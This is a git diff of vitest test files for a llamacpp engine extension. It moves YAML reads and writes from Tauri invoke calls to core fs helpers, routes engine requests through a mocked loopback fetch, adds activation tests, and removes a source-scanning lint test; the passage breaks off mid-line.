a/extensions/llamacpp-extension/src/preset.test.ts b/extensions/llamacpp-extension/src/preset.test.tsindex 017bd708e..5e4cb2023 100644--- a/extensions/llamacpp-extension/src/preset.test.ts+++ b/extensions/llamacpp-extension/src/preset.test.ts@@ -39,14 +39,11 @@ vi.mock('@janhq/core', () => ({delete writtenFiles[from]}),rm: vi.fn(async () => undefined),+ readYaml: vi.fn(async (p: string) => modelYamls[p]),},joinPath: vi.fn(async (parts: string[]) => parts.join('/')),}))-vi.mock('@tauri-apps/api/core', () => ({- invoke: vi.fn(async (_cmd: string, args: { path: string }) => modelYamls[args.path]),-}))-import { generatePreset, threadCacheDir } from './preset'const CONFIG = {} as anydiff --git a/extensions/llamacpp-extension/src/preset.ts b/extensions/llamacpp-extension/src/preset.tsindex 385e2a862..1418a1814 100644--- a/extensions/llamacpp-extension/src/preset.ts+++ b/extensions/llamacpp-extension/src/preset.ts@@ -14,7 +14,6 @@*/import { fs, joinPath } from '@janhq/core'-import { invoke } from '@tauri-apps/api/core'import { findModelEntries } from './model-tree'import type { LlamacppConfig, ModelConfig } from '@janhq/tauri-plugin-llamacpp-api'@@ -514,7 +513,7 @@ export async function generatePreset(for (const { modelId, configPath } of modelEntries) {let mc: ModelYamltry {- mc = await invoke<ModelYaml>('read_yaml', { path: configPath })+ mc = await fs.readYaml<ModelYaml>(configPath)} catch {// Skip unreadable model entries rather than aborting the whole preset.continuediff --git a/extensions/llamacpp-extension/src/test/activate.test.ts b/extensions/llamacpp-extension/src/test/activate.test.tsnew file mode 100644index 000000000..92cc04940--- /dev/null+++ b/extensions/llamacpp-extension/src/test/activate.test.ts@@ -0,0 +1,112 @@+import { describe, it, expect, vi, beforeEach } from 'vitest'+import type { InternalExtensionContext } from '@janhq/core'+import { ServiceKeys } from '@janhq/core'+import llamacpp_extension, { activate } from '../index'++vi.mock('../backend-settings')++type Disposable = { dispose(): void }++function fakeContext() {+ const disposables: Disposable[] = []+ const provided = new Map<string, unknown>()+ const unregister = vi.fn()+ const engines = { register: vi.fn().mockReturnValue({ dispose: unregister }) }+ const services = {+ get: vi.fn((key: { id: string }) => provided.get(key.id)),+ provide: vi.fn((key: { id: string }, impl: unknown) => {+ provided.set(key.id, impl)+ return { dispose: () => provided.delete(key.id) }+ }),+ }+ const ctx = {+ subscriptions: {+ add: <T extends Disposable>(d: T) => (disposables.push(d), d),+ },+ internal: { services, engines },+ } as unknown as InternalExtensionContext+ const deactivate = () => disposables.splice(0).reverse().forEach((d) => d.dispose())+ return { ctx, engines, unregister, provided, deactivate }+}++describe('activate', () => {+ beforeEach(() => {+ vi.clearAllMocks()+ // The engine's own startup is covered elsewhere; here only the wiring.+ vi.spyOn(llamacpp_extension.prototype, 'start').mockResolvedValue(undefined)+ })++ it('registers the engine with the engine manager and starts it', async () => {+ const fake = fakeContext()+ await activate(fake.ctx)+ expect(fake.engines.register).toHaveBeenCalledTimes(1)+ const engine = fake.engines.register.mock.calls[0][0]+ expect(engine).toBeInstanceOf(llamacpp_extension)+ expect(engine.provider).toBe('llamacpp')+ expect(llamacpp_extension.prototype.start).toHaveBeenCalled()+ })++ it('provides the llamacpp service backed by the registered engine', async () => {+ const fake = fakeContext()+ await activate(fake.ctx)+ const engine = fake.engines.register.mock.calls[0][0] as llamacpp_extension+ const props = { nCtx: 4096 }+ vi.spyOn(engine, 'getModelProps').mockResolvedValue(props)+ vi.spyOn(engine, 'unload').mockResolvedValue({ success: true })+ vi.spyOn(engine, 'getDevices').mockResolvedValue([])+ vi.spyOn(engine, 'reconcileEngineDevices').mockResolvedValue('busy')++ const service = fake.provided.get(ServiceKeys.Llamacpp.id) as {+ getModelProps(id: string): Promise<unknown>+ unload(id: string): Promise<unknown>+ getDevices(): Promise<unknown>+ reconcileEngineDevices(): Promise<unknown>+ }+ await expect(service.getModelProps('m')).resolves.toBe(props)+ expect(engine.getModelProps).toHaveBeenCalledWith('m')+ await expect(service.unload('m')).resolves.toEqual({ success: true })+ await expect(service.getDevices()).resolves.toEqual([])+ await expect(service.reconcileEngineDevices()).resolves.toBe('busy')+ })++ it('reaches the Downloads service through the host registry', async () => {+ const fake = fakeContext()+ const downloads = { pauseDownload: vi.fn().mockResolvedValue(undefined) }+ fake.provided.set(ServiceKeys.Downloads.id, downloads)+ await activate(fake.ctx)+ const engine = fake.engines.register.mock.calls[0][0] as llamacpp_extension+ await engine.pauseImport('m1')+ expect(downloads.pauseDownload).toHaveBeenCalledWith('llamacpp/m1')+ })++ it('unregisters the engine and withdraws the service on deactivation', async () => {+ const fake = fakeContext()+ await activate(fake.ctx)+ const engine = fake.engines.register.mock.calls[0][0] as llamacpp_extension+ const dispose = vi.spyOn(engine, 'dispose')+ fake.deactivate()+ expect(fake.unregister).toHaveBeenCalled()+ expect(dispose).toHaveBeenCalled()+ expect(fake.provided.has(ServiceKeys.Llamacpp.id)).toBe(false)+ })+})++describe('activate when startup fails', () => {+ it('logs the failure and keeps the engine registered', async () => {+ vi.spyOn(llamacpp_extension.prototype, 'start').mockRejectedValue(new Error('boom'))+ const error = vi.fn()+ const disposables: { dispose(): void }[] = []+ const register = vi.fn().mockReturnValue({ dispose: vi.fn() })+ const ctx = {+ subscriptions: { add: <T extends { dispose(): void }>(d: T) => (disposables.push(d), d) },+ log: { error },+ internal: {+ engines: { register },+ services: { get: vi.fn(), provide: vi.fn().mockReturnValue({ dispose: vi.fn() }) },+ },+ } as unknown as InternalExtensionContext+ await expect(activate(ctx)).resolves.toBeUndefined()+ expect(register).toHaveBeenCalled()+ expect(error).toHaveBeenCalledWith('Engine startup failed:', expect.any(Error))+ })+})diff --git a/extensions/llamacpp-extension/src/test/host.ts b/extensions/llamacpp-extension/src/test/host.tsnew file mode 100644index 000000000..9b75654d0--- /dev/null+++ b/extensions/llamacpp-extension/src/test/host.ts@@ -0,0 +1,23 @@+import { vi } from 'vitest'+import llamacpp_extension from '../index'++/**+ * The host service registry the engine reaches the Downloads service+ * through. Tests set what `get` returns.+ */+export const hostServices = {+ get: vi.fn().mockReturnValue({+ downloadFiles: vi.fn().mockResolvedValue(undefined),+ cancelDownload: vi.fn().mockResolvedValue(undefined),+ }),+}++/**+ * The host's proxy-bypassing loopback fetch (`ctx.internal.loopbackFetch`).+ * Every request the engine sends to its own server goes through it.+ */+export const loopbackFetch = vi.fn()++export function newExtension(): llamacpp_extension {+ return new llamacpp_extension(hostServices, loopbackFetch)+}diff --git a/extensions/llamacpp-extension/src/test/index.test.ts b/extensions/llamacpp-extension/src/test/index.test.tsindex b589af6c2..a4bf61c23 100644--- a/extensions/llamacpp-extension/src/test/index.test.ts+++ b/extensions/llamacpp-extension/src/test/index.test.ts@@ -1,7 +1,7 @@import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'import llamacpp_extension from '../index'+import { hostServices, loopbackFetch, newExtension } from './host'import { fs, getJanDataFolderPath, joinPath } from '@janhq/core'-import { invoke } from '@tauri-apps/api/core'import {readGgufMetadata,reloadEngineModels,@@ -22,10 +22,6 @@ vi.mock('../backend-settings')// Mock fetch globallyglobal.fetch = vi.fn()-// The engine requests go through the Tauri HTTP plugin (reqwest), not the-// webview's fetch.-const httpFetch = vi.hoisted(() => vi.fn())-vi.mock('@tauri-apps/plugin-http', () => ({ fetch: httpFetch }))// Mock tauri-plugin-llamacpp-api (partial mock)vi.mock('@janhq/tauri-plugin-llamacpp-api', async () => {@@ -92,7 +88,7 @@ describe('llamacpp_extension', () => {pid: 1234,models: [],})- extension = new llamacpp_extension()+ extension = newExtension()})afterEach(() => {@@ -177,7 +173,6 @@ describe('llamacpp_extension', () => {it('should return model list when models exist', async () => {const { getJanDataFolderPath, joinPath, fs } = await import('@janhq/core')- const { invoke } = await import('@tauri-apps/api/core')// Set up providerPath firstextension['providerPath'] = '/path/to/jan/llamacpp'@@ -202,7 +197,7 @@ describe('llamacpp_extension', () => {vi.mocked(fs.readdirSync).mockResolvedValue(['test-model'])vi.mocked(fs.fileStat).mockResolvedValue({ isDirectory: true, size: 1000 })- vi.mocked(invoke).mockResolvedValue({+ vi.mocked(fs.readYaml).mockResolvedValue({model_path: 'test-model/model.gguf',name: 'Test Model',size_bytes: 1000000@@ -248,7 +243,6 @@ describe('llamacpp_extension', () => {it('should import model from URL', async () => {const { getJanDataFolderPath, joinPath, fs } = await import('@janhq/core')- const { invoke } = await import('@tauri-apps/api/core')const apiModule = await import('@janhq/tauri-plugin-llamacpp-api')vi.mocked(apiModule.readGgufMetadata).mockResolvedValue({version: 3,@@ -260,22 +254,68 @@ describe('llamacpp_extension', () => {downloadFiles: vi.fn().mockResolvedValue(undefined)}- window.core.extensionManager.getByName = vi.fn().mockReturnValue(mockDownloadManager)+ const { ServiceKeys } = await import('@janhq/core')+ const getService = vi.fn().mockReturnValue(mockDownloadManager)+ hostServices.get = getServicevi.mocked(getJanDataFolderPath).mockResolvedValue('/path/to/jan')vi.mocked(joinPath).mockImplementation((paths) => Promise.resolve(paths.join('/')))vi.mocked(fs.existsSync).mockResolvedValue(false)vi.mocked(fs.fileStat).mockResolvedValue({ size: 1000000 })vi.mocked(fs.mkdir).mockResolvedValue(undefined)- vi.mocked(invoke).mockResolvedValue(undefined)+ vi.mocked(fs.writeYaml).mockResolvedValue(undefined)await extension.import('test-model', {modelPath: 'https://example.com/model.gguf'})+ expect(getService).toHaveBeenCalledWith(ServiceKeys.Downloads)expect(mockDownloadManager.downloadFiles).toHaveBeenCalled()expect(fs.mkdir).toHaveBeenCalled()- expect(invoke).toHaveBeenCalledWith('write_yaml', expect.any(Object))+ expect(fs.writeYaml).toHaveBeenCalledWith(+ expect.any(String),+ expect.any(Object)+ )+ })+ })++ describe('pauseImport / abortImport', () => {+ const downloads = () => ({+ pauseDownload: vi.fn().mockResolvedValue(undefined),+ cancelDownload: vi.fn().mockResolvedValue(undefined),+ })++ it('pauses the task through the host Downloads service', async () => {+ const { ServiceKeys } = await import('@janhq/core')+ const service = downloads()+ const getService = vi.fn().mockReturnValue(service)+ hostServices.get = getService++ await extension.pauseImport('m1')++ expect(getService).toHaveBeenCalledWith(ServiceKeys.Downloads)+ expect(service.pauseDownload).toHaveBeenCalledWith('llamacpp/m1')+ })++ it('cancels the task through the host Downloads service', async () => {+ const { fs, joinPath } = await import('@janhq/core')+ vi.mocked(joinPath).mockImplementation((paths) =>+ Promise.resolve(paths.join('/'))+ )+ vi.mocked(fs.existsSync).mockResolvedValue(false)+ const service = downloads()+ hostServices.get = vi.fn().mockReturnValue(service)++ await extension.abortImport('m1')++ expect(service.cancelDownload).toHaveBeenCalledWith('llamacpp/m1')+ })++ it('fails the import loudly when no Downloads service is provided', async () => {+ hostServices.get = vi.fn().mockReturnValue(undefined)+ await expect(extension.pauseImport('m1')).rejects.toThrow(+ 'Downloads service is not available'+ )})})@@ -459,7 +499,7 @@ describe('llamacpp_extension', () => {}]}- httpFetch.mockResolvedValue({+ loopbackFetch.mockResolvedValue({ok: true,json: () => Promise.resolve(mockResponse)})@@ -473,7 +513,7 @@ describe('llamacpp_extension', () => {const result = await extension.chat(request)expect(result).toEqual(mockResponse)- expect(httpFetch).toHaveBeenCalledWith(+ expect(loopbackFetch).toHaveBeenCalledWith('http://localhost:3000/v1/chat/completions',expect.objectContaining({method: 'POST',@@ -671,7 +711,7 @@ describe('llamacpp_extension', () => {it('reads the architecture-specific context limit without inventing an unknown limit', async () => {vi.mocked(getJanDataFolderPath).mockResolvedValue('/jan')vi.mocked(joinPath).mockImplementation(async (parts) => parts.join('/'))- vi.mocked(invoke).mockResolvedValue({ model_path: 'model.gguf' })+ vi.mocked(fs.readYaml).mockResolvedValue({ model_path: 'model.gguf' })vi.mocked(readGgufMetadata).mockResolvedValueOnce({version: 3, tensor_count: 1,metadata: { 'general.architecture': 'qwen3', 'qwen3.context_length': '65536' },@@ -764,11 +804,11 @@ describe('llamacpp_extension', () => {it('rejects a failed context application and restores model.yml', async () => {let savedModel: Record<string, unknown> = { ctx_size: 4096 }vi.mocked(fs.existsSync).mockResolvedValue(true)- vi.mocked(invoke).mockImplementation(async (command, args) => {- if (command === 'read_yaml') return structuredClone(savedModel)- if (command === 'write_yaml' && args && 'data' in args) {- savedModel = structuredClone(args.data as Record<string, unknown>)- }+ vi.mocked(fs.readYaml).mockImplementation(async () =>+ structuredClone(savedModel)+ )+ vi.mocked(fs.writeYaml).mockImplementation(async (_path, data) => {+ savedModel = structuredClone(data as Record<string, unknown>)})vi.mocked(reloadEngineModels).mockRejectedValueOnce(new Error('reload failed'))vi.mocked(startEngine).mockRejectedValueOnce(new Error('engine unavailable'))@@ -789,7 +829,7 @@ describe('a dead worker is noticed rather than cached', () => {beforeEach(async () => {vi.clearAllMocks()- extension = new llamacpp_extension()+ extension = newExtension()})it('re-asks the command even after a successful answer', async () => {@@ -840,7 +880,7 @@ describe('refreshEnginePreset embedding slot reservation', () => {userModelsMax: numberembeddingCount: number}) => {- extension = new llamacpp_extension()+ extension = newExtension()extension['config'] = { models_max: opts.userModelsMax } as neverreturn (async () => {// A running worker is what get_engine_info reports, not what the@@ -942,7 +982,7 @@ describe('bootstrapDefaultEmbedder', () => {beforeEach(() => {vi.clearAllMocks()- extension = new llamacpp_extension()+ extension = newExtension()})it('imports the fallback embedder when none is installed, then marks the bootstrap done', async () => {@@ -1016,7 +1056,7 @@ describe('verifyEmbeddingModel', () => {beforeEach(() => {vi.clearAllMocks()- extension = new llamacpp_extension()+ extension = newExtension()// The probe is gated on a configured backend, since the router it needs// cannot exist before one is selected.extension.config = {@@ -1112,7 +1152,7 @@ describe('verifyGpuOffload', () => {let extension: llamacpp_extensionconst arm = async (devices: unknown[], gpus: unknown[] | undefined) => {- extension = new llamacpp_extension()+ extension = newExtension()extension['config'] = {} as nevervi.spyOn(extension, 'getDevices').mockResolvedValue(devices as never)const { getSystemInfo } = await import('@janhq/tauri-plugin-hardware-api')@@ -1194,7 +1234,7 @@ describe('verifyGpuOffload', () => {// Without a device list there is no basis for a reason code, so the raw cause// is reported rather than a guess between "no GPU" and "unreachable GPU".it('reports the raw error when the device probe throws', async () => {- extension = new llamacpp_extension()+ extension = newExtension()extension['config'] = {} as nevervi.spyOn(extension, 'getDevices').mockRejectedValue(new Error('no worker'))const result = await extension.verifyGpuOffload()@@ -1209,7 +1249,7 @@ describe('bootstrapDefaultEmbedder failure reporting', () => {beforeEach(() => {vi.clearAllMocks()- extension = new llamacpp_extension()+ extension = newExtension()})it('records why the bootstrap failed instead of only logging it', async () => {@@ -1272,7 +1312,7 @@ describe('reportMissingLibrariesFromError', () => {beforeEach(() => {vi.clearAllMocks()- extension = new llamacpp_extension()+ extension = newExtension()extension['config'] = {version_backend: 'b9145/linux-cuda-12-common_cpus-x64',} as never@@ -1359,7 +1399,7 @@ describe('createDownloadTaskId', () => {beforeEach(() => {vi.clearAllMocks()- extension = new llamacpp_extension()+ extension = newExtension()})const taskId = (modelId: string) =>@@ -1399,7 +1439,7 @@ describe('import deduplication', () => {beforeEach(() => {vi.clearAllMocks()- extension = new llamacpp_extension()+ extension = newExtension()})// Two callers racing on one model both passed the model.yml guard and then@@ -1470,7 +1510,7 @@ describe('embedding readiness during the first-run fetch', () => {beforeEach(() => {vi.clearAllMocks()- extension = new llamacpp_extension()+ extension = newExtension()extension['config'] = {} as never})@@ -1513,7 +1553,7 @@ describe('forgetThreadCache', () => {beforeEach(() => {vi.clearAllMocks()- extension = new llamacpp_extension('http://localhost', 'llamacpp')+ extension = newExtension()})afterEach(() => {@@ -1570,7 +1610,7 @@ describe('reconcileEngineDevices', () => {vi.mocked(api.beginEngineRestart).mockResolvedValue(true)vi.mocked(api.endEngineRestart).mockResolvedValue(undefined)vi.mocked(api.stopEngine).mockResolvedValue(undefined)- extension = new llamacpp_extension()+ extension = newExtension()// Standing in for the real spawn, which the plugin does.return vi.spyOn(extension as never, 'runStartEngine' as never)@@ -1816,15 +1856,15 @@ describe('reconcileEngineDevices', () => {}// Chat and embeddings go out through the no-proxy client, not global fetch.- beforeEach(() => httpFetch.mockReset())+ beforeEach(() => loopbackFetch.mockReset())it('are not cut off by a restart while one is in flight, even if the worker looks idle', async () => {const { spawn } = await armChat()const reply = Promise.withResolvers<Response>()- httpFetch.mockReturnValue(reply.promise)+ loopbackFetch.mockReturnValue(reply.promise)const chat = extension.chat(request)- await vi.waitFor(() => expect(httpFetch).toHaveBeenCalled())+ await vi.waitFor(() => expect(loopbackFetch).toHaveBeenCalled())expect(await extension.reconcileEngineDevices()).toBe('busy')expect(api.stopEngine).not.toHaveBeenCalled()@@ -1838,7 +1878,7 @@ describe('reconcileEngineDevices', () => {it('wait for a restart under way and then use the new engine', async () => {const { spawn, ensureSession } = await armChat()- httpFetch.mockResolvedValue({ ok: true, json: async () => ({}) })+ loopbackFetch.mockResolvedValue({ ok: true, json: async () => ({}) })const stopped = Promise.withResolvers<void>()vi.mocked(api.stopEngine).mockReturnValue(stopped.promise)@@ -1935,7 +1975,7 @@ describe('reconcileEngineDevices', () => {// way out while the first is still deciding.it('are not admitted while an earlier restart is still deciding, however many ask', async () => {const { spawn, ensureSession } = await armChat()- httpFetch.mockResolvedValue({ ok: true, json: async () => ({}) })+ loopbackFetch.mockResolvedValue({ ok: true, json: async () => ({}) })const idle = Promise.withResolvers<boolean>()vi.mocked(api.beginEngineRestart).mockReturnValueOnce(idle.promise)@@ -1969,10 +2009,10 @@ describe('reconcileEngineDevices', () => {512 as never)const reply = Promise.withResolvers<Response>()- httpFetch.mockReturnValue(reply.promise)+ loopbackFetch.mockReturnValue(reply.promise)const embedding = extension.embed(['a'])- await vi.waitFor(() => expect(httpFetch).toHaveBeenCalled())+ await vi.waitFor(() => expect(loopbackFetch).toHaveBeenCalled())expect(await extension.reconcileEngineDevices()).toBe('busy')@@ -2002,22 +2042,23 @@ describe('engine requests bypass a configured proxy', () => {const okJson = (body: unknown) => ({ ok: true, json: async () => body })+ // The host's loopback fetch is what bypasses the proxy (tested in the web+ // app); here it is enough that the request went through it.const expectDirect = (urlPart: string) => {- const call = httpFetch.mock.calls.find(([url]) =>+ const call = loopbackFetch.mock.calls.find(([url]) =>String(url).includes(urlPart))- expect(call, `no plugin-http request to ${urlPart}`).toBeDefined()- const noProxy = (call![1] as { proxy?: { all?: { noProxy?: string } } })- .proxy?.all?.noProxy- expect(noProxy?.split(',')).toEqual(- expect.arrayContaining(['localhost', '127.0.0.1', '::1'])+ expect(call, `no loopback request to ${urlPart}`).toBeDefined()+ expect(global.fetch).not.toHaveBeenCalledWith(+ expect.stringContaining(urlPart),+ expect.anything())}beforeEach(() => {vi.clearAllMocks()- httpFetch.mockReset()- extension = new llamacpp_extension()+ loopbackFetch.mockReset()+ extension = newExtension()})it('sends the embeddings request direct', async () => {@@ -2028,7 +2069,7 @@ describe('engine requests bypass a configured proxy', () => {vi.spyOn(extension as never, 'embedBatchBudget' as never).mockResolvedValue(512 as never)- httpFetch.mockResolvedValue(+ loopbackFetch.mockResolvedValue(okJson({ data: [{ embedding: [0.1], index: 0 }], usage: {} }))@@ -2042,7 +2083,7 @@ describe('engine requests bypass a configured proxy', () => {extension as never,'ensureEmbeddingModelLoaded' as never).mockResolvedValue(session as never)- httpFetch.mockResolvedValue(okJson({ tokens: [1, 2, 3] }))+ loopbackFetch.mockResolvedValue(okJson({ tokens: [1, 2, 3] }))await expect(extension.countEmbeddingTokens(['hello'])).resolves.toEqual([3])@@ -2057,7 +2098,7 @@ describe('engine requests bypass a configured proxy', () => {vi.spyOn(extension as never, 'getLoadedModels' as never).mockResolvedValue(['test-model',] as never)- httpFetch.mockResolvedValue(+ loopbackFetch.mockResolvedValue(okJson({ default_generation_settings: { n_ctx: 4096 } }))@@ -2073,7 +2114,7 @@ describe('engine requests bypass a configured proxy', () => {extension as never,'ensureHealthySession' as never).mockResolvedValue(session as never)- httpFetch.mockResolvedValue({ ok: false, status: 500, json: async () => null })+ loopbackFetch.mockResolvedValue({ ok: false, status: 500, json: async () => null })const request = {model: 'test-model',@@ -2082,7 +2123,7 @@ describe('engine requests bypass a configured proxy', () => {await extension.chat({ ...request, stream: false }).catch(() => { })expectDirect('/v1/chat/completions')- httpFetch.mockClear()+ loopbackFetch.mockClear()const stream = (await extension.chat({...request,stream: true,diff --git a/extensions/llamacpp-extension/src/test/migrateLegacyModels.test.ts b/extensions/llamacpp-extension/src/test/migrateLegacyModels.test.tsindex 2198d2863..87c71b18c 100644--- a/extensions/llamacpp-extension/src/test/migrateLegacyModels.test.ts+++ b/extensions/llamacpp-extension/src/test/migrateLegacyModels.test.ts@@ -1,5 +1,6 @@import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'import llamacpp_extension from '../index'+import { hostServices, newExtension } from './host'vi.mock('../backend-settings')@@ -8,13 +9,7 @@ describe('migrateLegacyModels', () => {beforeEach(() => {vi.clearAllMocks()- extension = new llamacpp_extension({- name: 'llamacpp-extension',- productName: 'LlamaC++ Extension',- version: '1.0.0',- description: 'Test extension',- main: 'index.js',- })+ extension = newExtension()// Set up provider path to avoid issues with getProviderPath() callsextension['providerPath'] = '/path/to/jan/llamacpp'})@@ -40,7 +35,6 @@ describe('migrateLegacyModels', () => {it('should skip non-yml files during migration', async () => {const { getJanDataFolderPath, joinPath, fs } = await import('@janhq/core')- const { invoke } = await import('@tauri-apps/api/core')vi.mocked(getJanDataFolderPath).mockResolvedValue('/path/to/jan')vi.mocked(joinPath)@@ -57,12 +51,11 @@ describe('migrateLegacyModels', () => {await extension['migrateLegacyModels']()// Should not try to read yaml for non-yml files- expect(invoke).not.toHaveBeenCalledWith('read_yaml', expect.any(Object))+ expect(fs.readYaml).not.toHaveBeenCalled()})it('should skip yml files when model.yml already exists in directory', async () => {const { getJanDataFolderPath, joinPath, fs } = await import('@janhq/core')- const { invoke } = await import('@tauri-apps/api/core')vi.mocked(getJanDataFolderPath).mockResolvedValue('/path/to/jan')vi.mocked(joinPath)@@ -81,7 +74,7 @@ describe('migrateLegacyModels', () => {})// Mock the yaml reads that will happen for model.yml- vi.mocked(invoke).mockResolvedValue({+ vi.mocked(fs.readYaml).mockResolvedValue({name: 'Existing Model',model_path: 'models/existing/model.gguf',size_bytes: 2000000,@@ -90,18 +83,14 @@ describe('migrateLegacyModels', () => {await extension['migrateLegacyModels']()// Should read model.yml but skip legacy-model.yml because model.yml exists- expect(invoke).toHaveBeenCalledWith('read_yaml', {- path: 'model.yml',- })+ expect(fs.readYaml).toHaveBeenCalledWith('model.yml')// The logic should skip legacy-model.yml since model.yml exists, but it still reads both// The actual behavior is that it reads model.yml first, then skips legacy-model.yml processing- expect(invoke).toHaveBeenCalledTimes(2)+ expect(fs.readYaml).toHaveBeenCalledTimes(2)})it('should migrate legacy model with valid configuration', async () => {const { getJanDataFolderPath, joinPath, fs } = await import('@janhq/core')- const { invoke } = await import('@tauri-apps/api/core')- const { basename } = await import('@tauri-apps/api/path')vi.mocked(getJanDataFolderPath).mockResolvedValue('/path/to/jan')@@ -125,28 +114,23 @@ describe('migrateLegacyModels', () => {.mockResolvedValueOnce({ isDirectory: false, size: 1000 }) // model file size for size_bytes.mockResolvedValueOnce({ isDirectory: false, size: 1000 }) // filename stat in directory traversal- vi.mocked(basename).mockResolvedValue('model')// Mock reading legacy config- vi.mocked(invoke)- .mockResolvedValueOnce({- files: ['/path/to/jan/models/test/path.gguf'],- model: 'Legacy Test Model',- })- .mockResolvedValueOnce(undefined) // write_yaml call+ vi.mocked(fs.readYaml).mockResolvedValueOnce({+ files: ['/path/to/jan/models/test/path.gguf'],+ model: 'Legacy Test Model',+ })+ vi.mocked(fs.writeYaml).mockResolvedValueOnce(undefined)vi.mocked(fs.mkdir).mockResolvedValue(undefined)await extension['migrateLegacyModels']()- expect(invoke).toHaveBeenNthCalledWith(1, 'read_yaml', {- path: 'model.yml',- })+ expect(fs.readYaml).toHaveBeenNthCalledWith(1, 'model.yml')})it('should skip migration if legacy model file does not exist', async () => {const { getJanDataFolderPath, joinPath, fs } = await import('@janhq/core')- const { invoke } = await import('@tauri-apps/api/core')vi.mocked(getJanDataFolderPath).mockResolvedValue('/path/to/jan')vi.mocked(joinPath)@@ -164,7 +148,7 @@ describe('migrateLegacyModels', () => {})// Mock reading legacy config with no files- vi.mocked(invoke).mockResolvedValueOnce({+ vi.mocked(fs.readYaml).mockResolvedValueOnce({files: [],model: 'Test Model',})@@ -172,14 +156,13 @@ describe('migrateLegacyModels', () => {await extension['migrateLegacyModels']()// Should not proceed with migration- expect(invoke).toHaveBeenCalledTimes(1) // Only the read_yaml call+ expect(fs.readYaml).toHaveBeenCalledTimes(1)+ expect(fs.writeYaml).not.toHaveBeenCalled()expect(fs.mkdir).not.toHaveBeenCalled()})it('should skip migration if new model config already exists', async () => {const { getJanDataFolderPath, joinPath, fs } = await import('@janhq/core')- const { invoke } = await import('@tauri-apps/api/core')- const { basename } = await import('@tauri-apps/api/path')vi.mocked(getJanDataFolderPath).mockResolvedValue('/path/to/jan')vi.mocked(joinPath)@@ -200,10 +183,9 @@ describe('migrateLegacyModels', () => {isDirectory: false,size: 1000,})- vi.mocked(basename).mockResolvedValue('legacy-model')// Mock reading legacy config- vi.mocked(invoke).mockResolvedValueOnce({+ vi.mocked(fs.readYaml).mockResolvedValueOnce({files: ['legacy/model/path.gguf'],model: 'Legacy Test Model',})@@ -211,7 +193,8 @@ describe('migrateLegacyModels', () => {await extension['migrateLegacyModels']()// Should not proceed with migration since config already exists- expect(invoke).toHaveBeenCalledTimes(1) // Only the read_yaml call+ expect(fs.readYaml).toHaveBeenCalledTimes(1)+ expect(fs.writeYaml).not.toHaveBeenCalled()expect(fs.mkdir).not.toHaveBeenCalled()})@@ -245,7 +228,6 @@ describe('migrateLegacyModels', () => {describe('list method integration with migrateLegacyModels', () => {it('should call migrateLegacyModels during list operation', async () => {const { getJanDataFolderPath, joinPath, fs } = await import('@janhq/core')- const { invoke } = await import('@tauri-apps/api/core')// Mock the migrateLegacyModels methodconst migrateSpy = vi@@ -263,8 +245,8 @@ describe('migrateLegacyModels', () => {size: 1000,})- // Mock invoke for any potential yaml reads (though directory is empty)- vi.mocked(invoke).mockResolvedValue({+ // Mock any potential yaml reads (though directory is empty)+ vi.mocked(fs.readYaml).mockResolvedValue({name: 'Test Model',model_path: 'models/test/model.gguf',size_bytes: 1000000,diff --git a/extensions/llamacpp-extension/src/test/no-raw-plugin-invoke.test.ts b/extensions/llamacpp-extension/src/test/no-raw-plugin-invoke.test.tsdeleted file mode 100644index 873e88d98..000000000--- a/extensions/llamacpp-extension/src/test/no-raw-plugin-invoke.test.ts+++ /dev/null@@ -1,70 +0,0 @@-import { describe, it, expect } from 'vitest'-import { readdirSync, readFileSync, statSync } from 'node:fs'-import { join } from 'node:path'--// Enforces the project rule that `invoke` for the llamacpp plugin lives only in-// the plugin's guest-js layer. A raw `invoke('plugin:llamacpp|...')` elsewhere-// bypasses the typed wrapper, so the arg shape is unchecked -- which is how-// getDevices shipped sending a `libraryPath` the command does not take while-// omitting the `envs` it requires.-const REPO_ROOT = join(__dirname, '..', '..', '..', '..')-const GUEST_JS = join(- REPO_ROOT,- 'src-tauri',- 'plugins',- 'tauri-plugin-llamacpp',- 'guest-js'-)-const SEARCH_DIRS = [- join(REPO_ROOT, 'web-app', 'src'),- join(REPO_ROOT, 'core', 'src'),- join(REPO_ROOT, 'extensions'),- join(REPO_ROOT, 'src-tauri', 'plugins'),-]-const SKIP_DIRS = new Set(['node_modules', 'dist', 'dist-js', 'target', 'build'])-const RAW_INVOKE = /['"]plugin:llamacpp\|/--function collect(dir: string): string[] {- const out: string[] = []- let entries: string[]- try {- entries = readdirSync(dir)- } catch {- return out- }- for (const entry of entries) {- const full = join(dir, entry)- if (statSync(full).isDirectory()) {- if (SKIP_DIRS.has(entry)) continue- // The guest-js layer is where these calls belong.- if (full === GUEST_JS) continue- out.push(...collect(full))- continue- }- if (!/\.(ts|tsx)$/.test(entry)) continue- // Test files legitimately assert on the wire-level command name.- if (/\.test\.tsx?$/.test(entry)) continue- out.push(full)- }- return out-}--describe('invoke for plugin:llamacpp stays in guest-js', () => {- it('has no raw plugin:llamacpp invoke in production source', () => {- const offenders: string[] = []- for (const dir of SEARCH_DIRS) {- for (const file of collect(dir)) {- readFileSync(file, 'utf8')- .split('\n')- .forEach((line, i) => {- if (RAW_INVOKE.test(line)) {- offenders.push(- `${file.slice(REPO_ROOT.length + 1)}:${i + 1}: ${line.trim()}`- )- }- })- }- }- expect(offenders, offenders.join('\n')).toEqual([])- })-})diff --git a/extensions/llamacpp-extension/src/test/setup.ts b/extensions/llamacpp-extension/src/test/setup.tsindex 4a83621f0..9b8226713 100644--- a/extensions/llamacpp-extension/src/test/setup.ts+++ b/extensions/llamacpp-extension/src/test/setup.ts@@ -42,12 +42,6 @@ Object.defineProperty(globalThis, 'window', {api: {// getSystemInfo: vi.fn(),},- extensionManager: {- getByName: vi.fn().mockReturnValue({- downloadFiles: vi.fn().mockResolvedValue(undefined),- cancelDownload: vi.fn().mockResolvedValue(undefined),- }),- },},},})@@ -61,21 +55,12 @@ vi.mock('@tauri-apps/api/core', () => ({invoke: vi.fn(),}))-vi.mock('@tauri-apps/api/event', () => ({- listen: vi.fn().mockResolvedValue(() => undefined),- emit: vi.fn(),-}))--// Mock Tauri path API-vi.mock('@tauri-apps/api/path', () => ({- basename: vi.fn(),- dirname: vi.fn(),- join: vi.fn(),- resolve: vi.fn(),-}))-// Mock @janhq/corevi.mock('@janhq/core', () => ({+ ServiceKeys: {+ Downloads: { id: 'downloads' },+ Llamacpp: { id: 'llamacpp' },+ },logger: {debug: vi.fn(),info: vi.fn(),@@ -89,6 +74,8 @@ vi.mock('@janhq/core', () => ({fileStat: vi.fn(),mkdir: vi.fn(),rm: 